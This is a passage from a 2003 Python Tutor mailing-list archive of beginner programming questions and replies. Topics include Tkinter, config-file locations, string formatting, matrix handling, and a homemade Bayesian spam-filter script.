from Tkinter import *
app = Frame()
app.mainloop()

This second program works just as well as the first and seems more
intuitive to me.  I'm creating an application that is a Frame and I
start the application by invoking the application's mainloop() method.

The first example seems more obtuse.  root seems unnecessary and
invoking root's mainloop() instead of app's seems odd to me too (if I
want to start app, I should invoke a method of app).

So, what's wrong with the second version?  Will I run into problems
later when I add more widgets and get into more complex GUIs?

Thanks,
Bob

_________________________________________________________________
MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
http://join.msn.com/?page=features/virus



From phthenry@earthlink.net  Sat Jun  7 20:41:02 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Sat Jun  7 19:41:02 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <200306061804.00707.shalehperry@attbi.com>
References: <20030606230552.GV1597@localhost.localdomain> <200306061804.00707.shalehperry@attbi.com>
Message-ID: <20030607234146.GF1597@localhost.localdomain>

On Fri, Jun 06, 2003 at 06:04:00PM -0700, Sean 'Shaleh' Perry wrote:
> From: Sean 'Shaleh' Perry <shalehperry@attbi.com>
> To: tutor@python.org
> Subject: Re: [Tutor] where to put configuration files
> User-Agent: KMail/1.5.1
> Date: Fri, 6 Jun 2003 18:04:00 -0700
> 
> On Friday 06 June 2003 16:05, Paul Tremblay wrote:
> > I have written a script that requires a configuration file. I have
> > written an additional script that configures my setup.py, as well as the
> > origninal script, as to where the user decides to put the configuration
> > file.
> >
> > This configuration file is kind of a pain to have to maintain. Is it
> > okay to just dump configuration files in /etc, or is this considered bad
> > practice?
> >
> 
> If you *EVER* intend this to be real software used by real users, yes /etc is 
> the place to go.  It is probably a good idea to create a subdir and place the 
> config in there.  Something like /etc/mypackage/foo.conf.

R. Alan Monroe wrote me off this mailing list and pointed out that
Windows users have no /etc/ directory. Mac OS X users do. 

He pointed out that I should just lump the configuration file with the
"rest." I assume he means that I should put it wherever the modules are
installed. (For example,
/usr/lib/python/site-packages/my_special_module/configuration_dir/configure)
However, how do I tell the actual script to look there? 

After all, a user could decide to put the module in
/home/me/my_python_lib.

I suppose I could simply search the sys.path:

for path_dir in sys.path:
 if os.path.exits(path_dir + 'my_module/config'):
   config_file = path_dir + 'my_modulce/config'
   break



But then, that could cause problems.  The user installs version 1.0 in /home/my_python_lib/.

He then installs version 1.1 in /usr/lib/python/site-packages.

The script searches the sys.path list, and finds an *old* configuration
file first, and stops searching.

I have noticed that "real" software simply sticks the configuration in
/etc/whatever. I think the attitude is "You better have access to /etc,
and you better have a directory called /etc.

Thanks

Paul

-- 

************************
*Paul Tremblay         *
*phthenry@earthlink.net*
************************


From magnus@thinkware.se  Sat Jun  7 21:27:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun  7 20:27:02 2003
Subject: [Tutor] chinese in python2.2.3
In-Reply-To: <002501c32b75$13bb35f0$334c70dc@homeu0a59ztmqs>
Message-ID: <5.2.1.1.0.20030608022816.01f3cde0@www.thinkware.se>

At 23:13 2003-06-05 +0800, jyllyj wrote:
>i'd post chinese to python tkinter's widget which edit site.py .replace 
>default encoding "ascii" to "utf-8"
>maybe that is not good idea i think. has another general way to deal with 
>chinese at now (python2.2.3)

Have you tried it?

If you did: Does it seem to work?

What would be the problem?


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From idiot1@netzero.net  Sat Jun  7 21:36:02 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Sat Jun  7 20:36:02 2003
Subject: [Tutor] where to put configuration files
References: <20030606230552.GV1597@localhost.localdomain> <200306061804.00707.shalehperry@attbi.com> <20030607234146.GF1597@localhost.localdomain>
Message-ID: <3EE2846A.3050803@netzero.net>


Paul Tremblay wrote:
> On Fri, Jun 06, 2003 at 06:04:00PM -0700, Sean 'Shaleh' Perry wrote:
> 
>>From: Sean 'Shaleh' Perry <shalehperry@attbi.com>
>>To: tutor@python.org
>>Subject: Re: [Tutor] where to put configuration files
>>User-Agent: KMail/1.5.1
>>Date: Fri, 6 Jun 2003 18:04:00 -0700
>>
>>On Friday 06 June 2003 16:05, Paul Tremblay wrote:
>>
>>>I have written a script that requires a configuration file. I have
>>>written an additional script that configures my setup.py, as well as the
>>>origninal script, as to where the user decides to put the configuration
>>>file.
>>>
>>>This configuration file is kind of a pain to have to maintain. Is it
>>>okay to just dump configuration files in /etc, or is this considered bad
>>>practice?
>>>
>>
>>If you *EVER* intend this to be real software used by real users, yes /etc is 
>>the place to go.  It is probably a good idea to create a subdir and place the 
>>config in there.  Something like /etc/mypackage/foo.conf.

we got plastic users on this list?!?

> 
> 
> R. Alan Monroe wrote me off this mailing list and pointed out that
> Windows users have no /etc/ directory. Mac OS X users do. 

We jeez, we ARE talking about WINDOWS, it's not suprising it's deficent.

> 
> He pointed out that I should just lump the configuration file with the
> "rest." I assume he means that I should put it wherever the modules are
> installed. (For example,
> /usr/lib/python/site-packages/my_special_module/configuration_dir/configure)
> However, how do I tell the actual script to look there? 
That is a question that gained my attention early on. I put the .cf file right where the 
program is that wants to read it. it can always open it's own dir, and can find it's own 
location very simply. SOME people live in servers which are rather restricted; tehy can 
run cgi scripts, but cannot get into some system areas, like '/etc'. And indeed, either 
you have to hack the script so it knows where to go look, or offer it a local file to 
read- say, that's almost a cf file all by itself!

> 
> After all, a user could decide to put the module in
> /home/me/my_python_lib.
> 
> I suppose I could simply search the sys.path:
> 
> for path_dir in sys.path:
>  if os.path.exits(path_dir + 'my_module/config'):
>    config_file = path_dir + 'my_modulce/config'
>    break
> 
> 
> 
> But then, that could cause problems.

Sure could. system problems even operator confusion problems. Let me gently remind the 
users of the KISS principle.
>  The user installs version 1.0 in /home/my_python_lib/.
> 
> He then installs version 1.1 in /usr/lib/python/site-packages.
> 
> The script searches the sys.path list, and finds an *old* configuration
> file first, and stops searching.
> 
> I have noticed that "real" software simply sticks the configuration in
> /etc/whatever. I think the attitude is "You better have access to /etc,
> and you better have a directory called /etc.
And what if I don't? I can pound sand, apparently. Or go use someone else's software. 
But they sure can turn their noses up at me righously, heh?

Apparently, being Politically Correct is worming it's way into compute programming. 
THANK GODDESS I'm an amateur.

> 
> Thanks
> 
> Paul
> 


-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From phthenry@earthlink.net  Sat Jun  7 22:23:02 2003
From: phthenry@earthlink.net (Paul Tremblay)
Date: Sat Jun  7 21:23:02 2003
Subject: [Tutor] where to put configuration files
In-Reply-To: <3EE2846A.3050803@netzero.net>
References: <20030606230552.GV1597@localhost.localdomain> <200306061804.00707.shalehperry@attbi.com> <20030607234146.GF1597@localhost.localdomain> <3EE2846A.3050803@netzero.net>
Message-ID: <20030608012322.GK1597@localhost.localdomain>

On Sat, Jun 07, 2003 at 08:33:46PM -0400, Kirk Bailey wrote:
> That is a question that gained my attention early on. I put the .cf file 
> right where the program is that wants to read it. it can always open it's 
> own dir, and can find it's own location very simply. SOME people live in 
> servers which are rather restricted; tehy can run cgi scripts, but cannot 
> get into some system areas, like '/etc'. And indeed, either you have to 
> hack the script so it knows where to go look, or offer it a local file to 
> read- say, that's almost a cf file all by itself!

So  your setup.py looks something like:

scripts=["script/the_scrpt,", "configuration"]

> 
> Sure could. system problems even operator confusion problems. Let me gently 
> remind the users of the KISS principle.

What exactly is KISS?

> And what if I don't? I can pound sand, apparently. Or go use someone else's 
> software. But they sure can turn their noses up at me righously, heh?
> 

Pound away! Yes, what a pain to get a script which you can't use.

Paul

-- 

************************
*Paul Tremblay         *
*phthenry@earthlink.net*
************************


From magnus@thinkware.se  Sat Jun  7 22:32:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun  7 21:32:01 2003
Subject: [Tutor] Noob to Python - Need help with Variables
In-Reply-To: <BDE280F8610F8C45B8FF908BA0A85C434166@web-server.int-pctony
 .com>
Message-ID: <5.2.1.1.0.20030608023458.01f444c8@www.thinkware.se>

At 18:10 2003-06-05 +0100, Tony Stevenson wrote:
>os.mkdir("D:\\tempint\\" + user)

You can use forward slashes in Windows. Just not at the command
prompt, where they will be confused with command options. So,
"D:/tempint/" instead of "D:\\tempint\\" will work. Another, more
generic way to avoid writing double backslashes is to use raw
strings. This is only possible if you don't need to expand any
escape sequences such as \t into a tab, but in this case, you
could use r"D:\tempint\".

Finally, if you want a solution that works across operating
systems and have something like

d = "directory"
s = "subdirectoy"

Then you might do d + '\\' s in windows, d + '/' + s in unix
and d + '::' + s or something like that in other operating
systems.

Don't! Use:

import os.path # Just "import os" works too, but imports more
full_path = os.path.join(d, s)

So, in your case, you could do

d = r"D:\tempint"
os.mkdir(os.path.join(d, user))


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Sat Jun  7 23:10:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun  7 22:10:02 2003
Subject: [Tutor] Noob to Python - Need help with Variables
In-Reply-To: <001e01c32b77$9a84c180$a44c73d5@sigrunnk2wh18t>
Message-ID: <5.2.1.1.0.20030608033518.01fa9440@www.thinkware.se>

At 17:31 2003-06-05 +0200, Ole Jensen wrote:
>There's annother way to do it as well, but i'm not to sure about that:
>keeping the varibles as is
>
> >>> str =3D "Hello, =B4name=B4"
>should print: Hello, Tony

No Ole, this must be something you have dreamt! ;)

Before I forget, str is a builtin type name for strings,
so, don't use that as a variable name. See this example:

 >>> str(5)
'5'
 >>> str =3D "Hello"
 >>> str(5)
Traceback (most recent call last):
   File "<interactive input>", line 1, in ?
TypeError: 'str' object is not callable

By using names of builtin objects like types and functions for
variables, you will cause problems in your programs. Don't get
into the habit of doing that, even if it's legal Python.

Anyway, if you have

d =3D {'name' : 'Tony'}

you can do

s =3D "Hello, %(name)s" % d

If you combine that with the builtin functions vars(),
locals() or globals(), you can get local and/or global
variables into a string, using the syntax I just showed.

 >>> name =3D 'Tony'
 >>> print "Hello %(name)s" % vars()
Hello Tony

There is a three year old suggestion from Ka-Ping Yee
(http://www.python.org/peps/pep-0215.html) that you
should be able to do...

s =3D $"Hello, $name"

...but as far as I know, this has not been approved.

There is a problem with some symbols, because they look
similar to each other. There are three different quote
symbols that have a meaning in Python. There is the inch
symbol " and the foot symbol ', that are often used as a
means to enter double and single quote signs in word
processors, where they are converted to other symbols that
aren't defined in the ASCII standard. These symbols are
used to create string literals in Python. If you wan't to
use one symbol in the string, you can use the other to
enclose the string in an unambiguos way. E.g.

a =3D "that's"
b =3D 'He said: "That will be fine." Then he left.'

You can also use do 'that\'s' or '''that's''' etc.

Besides ' and ", there is also the "backquote" ` which
is an alternative to calling the builtin repr() function.

 >>> a =3D 1.1
 >>> print a
1.1
 >>> print `a`
1.1000000000000001

("print a" will use str(a) which gives an approximation.
"print `a`" will use repr(a) which shows how the number is
stored as closely as possible, thus revealing that it's
impossible to store 11/10 exactly as a binary number, just
as it's impossible to store 1/3 exactly as a digital number.)

This has nothing to do with evaluating things inside strings.

No other quote symbols than ', " and ` have a syntactical
meaning in Python. The symbol you used in the string above
is not even ASCII. In some poor environments where string
content is converted to Unicode implicitly, using such
symbols won't work. Using Scandinavian national characters
in string literals is likewise impossible there. Yuk!

I can't really recommend IDLE. PythonWin is certainly better.
Using a "real" editor such as vim or emacs, and the command
line is probably best in the long run.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language=20



From magnus@thinkware.se  Sat Jun  7 23:20:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun  7 22:20:02 2003
Subject: [Tutor] python string __add__
In-Reply-To: <NBEHJBEKFMHNFJKOHIOAKEAOCJAA.willblake@wanadoo.fr>
References: <200306051510.36411.tjenkins@devis.com>
Message-ID: <5.2.1.1.0.20030608042115.00b75450@www.thinkware.se>

At 15:52 2003-06-06 +0200, Guillaume wrote:
>I've got some times to run the prog
>and strangely when I type
>string.join(mylist,")
>I've got a syntax error with the little ^ under the
>second parenthesis.
>I use Python 2.2, could u explain me why?

Because you haven't figured out that in email and programming
a fixed font is usually better than a proportional font?


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Sat Jun  7 23:31:21 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun  7 22:31:21 2003
Subject: [Tutor] lists
In-Reply-To: <00b401c32cc6$5338e450$6401a8c0@xp>
References: <20030605181302.5177.6118.Mailman@mail.python.org>
 <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu>
Message-ID: <5.2.1.1.0.20030608043211.01fb7ae0@www.thinkware.se>

At 08:28 2003-06-07 +0100, Alan Gauld wrote:
>for item in list1:
>     list2.append(item)

Why not simply do

list2.extend(list1)

instead?


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Sat Jun  7 23:38:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sat Jun  7 22:38:01 2003
Subject: [Tutor] matrix q?
In-Reply-To: <BAY7-F92T7HTETiFXnJ0003c326@hotmail.com>
Message-ID: <5.2.1.1.0.20030608043836.01fb7c28@www.thinkware.se>

At 04:36 2003-06-07 +0000, Evripides Loizides wrote:

>i want to add the row of a square matrix.

If you want to work with mathematical matrices in Python,
I suggest you get Numerical Python and use that! See
http://www.pfdubois.com/numpy/


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From pythontutor@venix.com  Sun Jun  8 00:03:02 2003
From: pythontutor@venix.com (Lloyd Kvam)
Date: Sat Jun  7 23:03:02 2003
Subject: [Tutor] matrix q? print the first column of matrix
References: <5.2.0.9.0.20030607111014.02ee7f70@66.28.54.253>
Message-ID: <3EE2A718.4080701@venix.com>

An alternative is to transpose the matrix.

myTranspose = zip(*myMatrix)
myTranspose[0] would be the first column of myMatrix.

This isn't better unless you really want the transpose
The * before a list argument to a function causes the list to be
processed as separate arguments to the function.  So your 3x3
matrix is processed as 3 lists by zip.  (I hope that was clear.)

Bob Gailer wrote:
> At 12:09 PM 6/7/2003 -0500, evros loizides wrote:
> 
>> i am try to print the columns of a square matrix but i getting only 
>> the first number
>> for example  myMatrix = [[2,3,4],[4,5,6],[7,8,9]]
>> i want to print the first column only .
>> how can i do that?
> 
> 
> print [row[0] for row in myMatrix]
> 
> Bob Gailer
> bgailer@alum.rpi.edu
> 303 442 2625
> 


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From python@dhumketu.cjb.net  Sun Jun  8 02:26:01 2003
From: python@dhumketu.cjb.net (Shantanu Mahajan)
Date: Sun Jun  8 01:26:01 2003
Subject: [Tutor] Re: Need help on modifying buffer passed to python script from c
Message-ID: <20030607193634.GB190@dhumketu.homeunix.net>

+-- R. Alan Monroe [python-tutor] [07-06-03 10:09 -0400]:
| Here are the relevant parts of the c program
| 
| PyObject *themodule, *thefunc, *theresult, *thebuf;
| int themem[100];
| themem[0] = 26;
| thebuf = PyBuffer_FromReadWriteMemory(themem, 100);
| theresult = PyObject_CallFunctionObjArgs( thefunc, thebuf, NULL);
| 
| ... and the python script
| 
| def render( thepointer ):
|     print "python thepointer[0] ", thepointer[0]  # an arrow character
|     print "python type(thepointer) ", type(thepointer)  # <type 'buffer'>
|     print "python type(thepointer[0]) ", type(thepointer[0])  #  <type 'str'>
|     print "python ord(thepointer[0]) ", ord(thepointer[0])  # 26, as expected
|     thepointer[0] += 1   #<--- program error, can't increment a string

	thepointer[0] = str(int(thepointer[0]+1)
| 
| This is for the Sonique vis plugin I mentioned a few days ago. The
| problem I'm running into is that python thinks the buffer is a big
| string, but I want it to be treated as integers (it's an offscreen
| ARGB buffer to be blitted to the screen). Is there a way of "tricking"
| Python into seeing it as something other than 'str'?
| 
| 
| Alan

	Regards,
	Shantanu
-- 
Want to know how many words, lines, or bytes are contained in a file? Type
"wc filename".
		-- Dru <genesis@istar.ca>


From python@dhumketu.cjb.net  Sun Jun  8 02:26:12 2003
From: python@dhumketu.cjb.net (Shantanu Mahajan)
Date: Sun Jun  8 01:26:12 2003
Subject: [Tutor] Re: /usr/bin/env problem
Message-ID: <20030607192626.GA190@dhumketu.homeunix.net>

+-- Neil Schemenauer [python-tutor] [03-06-03 16:21 -0700]:
| Neil Hodge wrote:
| > I have two python scripts in the same directory, with the same 
| > permissions, both with the standard line:
| > 
| > #!/usr/bin/env python
| > 
| > at the top.  One runs, one doesn't.  One bombs with the error:
| > 
| > /usr/bin/env: No such file or directory
| 
| My only theory is that there are "weird" characters in the first one
| (e.g. a DOS line ending).  You could check by running:
| 
|     $ head -1 script.py | od -c

	or maybe
	$ col -bx < script.py > script.py.new && mv script.py.new script.my
| 
| Try deleting the line and adding it back by hand.  HTH,
| 
|   Neil

	Regards,
	Shantanu

-- 
Want to know how many words, lines, or bytes are contained in a file? Type
"wc filename".
		-- Dru <genesis@istar.ca>


From syrinx@simplecom.net  Sun Jun  8 04:11:01 2003
From: syrinx@simplecom.net (Scott)
Date: Sun Jun  8 03:11:01 2003
Subject: [Tutor] Find all objects that refer to another object?
Message-ID: <20030608020851.33d737b8.syrinx@simplecom.net>

How do you find all the objects that refer to another object?  That is, the reference count would decrement on object B if I deleted object A?  Is that terribly expensive?



From alan.gauld@blueyonder.co.uk  Sun Jun  8 05:14:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sun Jun  8 04:14:01 2003
Subject: [Tutor] lists
References: <20030605181302.5177.6118.Mailman@mail.python.org> <1054841929.3edf9c492ae1c@webmail.mail.gatech.edu> <5.2.1.1.0.20030608043211.01fb7ae0@www.thinkware.se>
Message-ID: <002801c32d95$e1d251e0$6401a8c0@xp>

> At 08:28 2003-06-07 +0100, Alan Gauld wrote:
> >for item in list1:
> >     list2.append(item)
> 
> Why not simply do
> 
> list2.extend(list1)

In this case no reason, I used the for method to point out 
that you can insert some filtering code in case you don't 
want to move all of the members. In other words it is the 
most flexible solution.

Alan G


From alan.gauld@blueyonder.co.uk  Sun Jun  8 05:24:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Sun Jun  8 04:24:01 2003
Subject: [Tutor] about little function
References: <20030607165347.59091.qmail@web14504.mail.yahoo.com>
Message-ID: <005701c32d97$3f3b5330$6401a8c0@xp>

> def combine(list_probabilities):
>     """ it combines the probabilty of list items"""
>     p1 = 1.0
>     p2 = 1.0
>     #print list_probabilities
>     for i in list_probabilities:
>         #print i
>         p1 = p1 * i
>         p2 = p2 * (1.0 - i)
>     result = p1 / (p1 + P2)
>     return result

>     p1 = p1 * i
> TypeError: unsupported operand type(s) for *: 'float' and 'list'

THe logical conclusion is that the list you are pasing 
in contains something that is incompatible with float 
multiplication - like a nested list maybe?

What did the commented out 'print i' line show up just before 
the crash?

Alan G


From magnus@thinkware.se  Sun Jun  8 05:46:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun  8 04:46:02 2003
Subject: [Tutor] Find all objects that refer to another object?
In-Reply-To: <20030608020851.33d737b8.syrinx@simplecom.net>
Message-ID: <5.2.1.1.0.20030608104825.01f4aff8@www.thinkware.se>

At 02:08 2003-06-08 -0500, Scott wrote:
>How do you find all the objects that refer to another object?  That is, 
>the reference count would decrement on object B if I deleted object A?  Is 
>that terribly expensive?

Probably... :)

Why would you like to do that?


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From magnus@thinkware.se  Sun Jun  8 09:10:01 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Sun Jun  8 08:10:01 2003
Subject: [Tutor] Find all objects that refer to another object?
In-Reply-To: <20030608040437.00cb73d6.syrinx@simplecom.net>
References: <5.2.1.1.0.20030608104825.01f4aff8@www.thinkware.se>
 <20030608020851.33d737b8.syrinx@simplecom.net>
 <5.2.1.1.0.20030608104825.01f4aff8@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030608135536.01f88140@www.thinkware.se>

I'm reverting this to the list again. I assume you intended to
reply to the list. (My private consultations are not for free. ;)

At 04:04 2003-06-08 -0500, Scott wrote:
>On Sun, 08 Jun 2003 10:49:00 +0200 Magnus Lyck=E5 <magnus@thinkware.se>=
 wrote:
> > At 02:08 2003-06-08 -0500, Scott wrote:
> > >How do you find all the objects that refer to another object?  That is,
> > >the reference count would decrement on object B if I deleted object=20
> A?  Is
> > >that terribly expensive?

I don't know of any way to find references from A to B without
checking all possible A. The referenced object obviously keeps
a reference *count* to know *how many* references there is to it,
but it doesn't know what these references are.

> > Probably... :)
> >
> > Why would you like to do that?
>
>I'm confused.  My object won't die.  He must be referenced by=20
>somebody!  But I can't find out who.

As far as I understand, Python does not guarantee that objects
are garbage collected at any specific time just bacause you let
go of them. If you need to release a resource at a certain time,
it's best to do that explicitly.

Specifically, the Java implementation "Jython" uses the Java
garbage collector, which isn't reference count based at all.
Also, breaking of circular referenecs is a fairly recent addition
to Python. What version do you use?

What is it that you are observing that bothers you?

Is it an __del__ method that isn't called, or is some resource
such as a file locked, or is it memory which isn't reclaimed?

Is this a pure Python object, or is something else like
Tkinter or wxPython involved? If a C++ (etc) based toolkit
is involved, there might be object references that are
invisible to Python.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language=20



From rhseabrook@aacc.edu  Sun Jun  8 09:53:02 2003
From: rhseabrook@aacc.edu (Seabrook, Richard)
Date: Sun Jun  8 08:53:02 2003
Subject: [Tutor] matrix q? print the first column of matrix
Message-ID: <74DAD2F23F03F7438D9BE3436C6846F70129074B@AACC-MAIL.aacc.cc.md.us>


-----Original Message-----
From:	evros loizides [mailto:loizie@hotmail.com]
Sent:	Sat 6/7/2003 1:09 PM
To:	tutor@python.org
Cc:=09
Subject:	[Tutor] matrix q? print the first column of matrix
i am try to print the columns of a square matrix but i getting only the
first number
for example  myMatrix =3D [[2,3,4],[4,5,6],[7,8,9]]
i want to print the first column only .
how can i do that?
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
How about this --
=20
for L in myMatrix:
   print L[0]

Dick S.

=20





From jyllyj@gcom-cn.com  Sun Jun  8 10:05:02 2003
From: jyllyj@gcom-cn.com (jyllyj)
Date: Sun Jun  8 09:05:02 2003
Subject: [Tutor] chinese in python2.2.3
References: <5.2.1.1.0.20030608022816.01f3cde0@www.thinkware.se>
Message-ID: <002b01c32d80$fe7b8ec0$334c70dc@homeu0a59ztmqs>

DQo+IEF0IDIzOjEzIDIwMDMtMDYtMDUgKzA4MDAsIGp5bGx5aiB3cm90ZToNCj4gPmknZCBwb3N0
IGNoaW5lc2UgdG8gcHl0aG9uIHRraW50ZXIncyB3aWRnZXQgd2hpY2ggZWRpdCBzaXRlLnB5IC5y
ZXBsYWNlIA0KPiA+ZGVmYXVsdCBlbmNvZGluZyAiYXNjaWkiIHRvICJ1dGYtOCINCj4gPm1heWJl
IHRoYXQgaXMgbm90IGdvb2QgaWRlYSBpIHRoaW5rLiBoYXMgYW5vdGhlciBnZW5lcmFsIHdheSB0
byBkZWFsIHdpdGggDQo+ID5jaGluZXNlIGF0IG5vdyAocHl0aG9uMi4yLjMpDQo+IA0KPiBIYXZl
IHlvdSB0cmllZCBpdD8NCnllcywgaSB0cmllZC4NCj4gSWYgeW91IGRpZDogRG9lcyBpdCBzZWVt
IHRvIHdvcms/DQppdCdzIHdvcmsgZmluZS4NCj4gV2hhdCB3b3VsZCBiZSB0aGUgcHJvYmxlbT8N
CmkgdGhpbmsgdGhhdCBpcyBub3QgZ29vZCBpZGVhIGFuZCBJIGFtIGxvb2tpbmcgZm9yd2FyZCBm
b3Igc29tZSBnb29kIGlkZWFzLg0KdGhhdCdzIGFsbC4NCj4gDQo+IC0tDQo=





From a_abdi406@yahoo.com  Sun Jun  8 10:27:01 2003
From: a_abdi406@yahoo.com (Abdirizak abdi)
Date: Sun Jun  8 09:27:01 2003
Subject: [Tutor] about a program
Message-ID: <20030608132629.60251.qmail@web14505.mail.yahoo.com>

--0-1080038127-1055078789=:59825
Content-Type: multipart/alternative; boundary="0-1564231918-1055078789=:59825"

--0-1564231918-1055078789=:59825
Content-Type: text/plain; charset=us-ascii


Hi,

I was working on a program that verifies whether a given message is spam or not. the program uses statistical analysis based on Paul Graham's plan for spam. However I set up the alforithm of the program as follows:

1.read the mails spam or non-spam form respective directories(build_corpus())

2.coumpute the the frequency of each word

3.get a message to check for "spamness" and compute the probility of each word

by using the the frequency of the words and put in adictionary {'word':probality}

4.take the 15 most improbaple and put it in a list and combine them

5. if the sscore of the combination is greater than 90% then the message is spam

PROBLEM: I have a problem getting wrong values, so can anyone have a look the program set up and comment if I can figure out why I am getting the wrong values.

I know it is hard to follow someones's program setup but sometimes with a third party could be a lot of help.

the program is attached with this e-mail

thanks in advance




---------------------------------
Do you Yahoo!?
Free online calendar with sync to Outlook(TM).
--0-1564231918-1055078789=:59825
Content-Type: text/html; charset=us-ascii

<DIV>
<DIV><FONT size=2>
<P>Hi,</P>
<P>I was working on a program that verifies whether a given message is spam or not. the program uses statistical analysis based on Paul Graham's plan for spam. However I set up the alforithm of the program as follows:</P>
<P>1.read the mails spam or non-spam form respective directories(build_corpus())</P>
<P>2.coumpute the the frequency of each word</P>
<P>3.get a message to check for "spamness" and compute the probility of each word</P>
<P>by using the the frequency of the words and put in adictionary {'word':probality}</P>
<P>4.take the 15 most improbaple and put it in a list and combine them</P>
<P>5. if the sscore of the combination is greater than 90% then the message is spam</P>
<P>PROBLEM: I have a problem getting wrong values, so can anyone have a look the program set up and comment if I can figure out why I am getting the wrong values.</P>
<P>I know it is hard to follow someones's program setup but sometimes with a third party could be a lot of help.</P>
<P>the program is attached with this e-mail</P>
<P>thanks in advance</P></FONT></DIV></DIV><p><hr SIZE=1>
Do you Yahoo!?<br>
Free <a href="http://us.rd.yahoo.com/mail_us/tag/*http://calendar.yahoo.com">online calendar</a> with sync to Outlook(TM).
--0-1564231918-1055078789=:59825--
--0-1080038127-1055078789=:59825
Content-Type: text/plain; name="TestTest.py"
Content-Description: TestTest.py
Content-Disposition: inline; filename="TestTest.py"

import sys
import os
import re
import math
import cPickle
import string
#from utils import *
from glob import glob


def incr(hash,key):
    """ this function counts the frequency of word """
    hash[key]=hash.get(key,0)+1

    
#this function used glob which reads multiple files
def getwords(fn,addfreq):
    #print "Read %s..."%fn
    file=open(fn)
    text=file.read()
    file.close()
    for word in text.split():
        if len(word)<100:
            lw=word.lower()
            incr(addfreq,lw)
            incr(addfreq,'*')



class Classifier(ClassifierI):

    def __init__(self):
        self.spam={'*': 0}
        self.nonspam={'*': 0}
        
    def classify(self,token):
        return Token(LabeledText(token.type(),'spam'),token.loc())
    def labels(self):
   	    return ('spam','nonspam')

    #def hello(self):
        #print "hello"

    def generate_prob(self,word):
        """ This function computes the probability that a word occurs n times """
        # first change case
        
        lowerWord = word.lower()
        #print "lowerWord= %s" %(lowerWord)#
    
        # goodword frequency
        g = float(self.nonspam.get(lowerWord, 0) * 2)
        print "g = %5.3f" %(g)
        
        #print self.nonspam.get(lowerWord, 0)
        
        #print" g = %5.3f" %(g)#
        # bad word frequency
        b = float(self.spam.get(lowerWord, 0))

        # non-spammed counts    
        goodCount = self.nonspam['*']
        #print "good count = %d" %(goodCount)#
        
        # spammed counts
        badCount = self.spam['*']

        # Not seen before      
        if g == 0 and b == 0:
            return 0.2
        # Not frequent enough   
        if  g + b < 5:
            return 0.2

        bfreq = min (1.0 , b / badCount )
        gfreq = min (1.0 , g / goodCount )

        result = max(0.01, min(0.99, (bfreq /gfreq + bfreq)))

        return result
    

        
    def isSpam(self, Message):
        """    """
        #setup a regular expression
        word_like = re.compile( '[-\w\'$]+')
        temp_result = word_like.findall(Message)

        #this is the third hashtable that will be stored
        #the word and its calculated probability temp_dict{'word':probability}
        temp_dict = {}
        for word in temp_result:
            p = self.generate_prob(word)
            
            #print " p = %5.3f" %(p)#
            p2 = abs(p - 0.5)
            temp_dict[word] = p2
            
        #print temp_dict
        # call for report token which counts the frequency in
        # descending order and returns a list of 16 less probable word frequency
        list = report_tokens(temp_dict)          

        # call for combine fucntion which combines the probabilty of
        # 16 less probable word frequency and returns combination
        # of score greater than 0.90%
        score = combine(list)
        print score
        
        if score > 0.90:
            spam_message = "the message is spammed....."
            print spam_message 
            #return spam_message              
        else:
            non_spam_message = "the message is non spammed....."
            print non_spam_message
            #return non_spam_message


    
def build_corpus():
    """it scans several mails """
    print "Scanning the files in the directory......"
    count=Classifier()
    for file in glob("Spam/msg*.txt"):
        #print file
        getwords(file,count.spam)
    print "Spam: %d words known" % len(count.spam)
    for file in glob("NonSpam/1000*-*.txt"):
        #print file        
        getwords(file,count.nonspam)
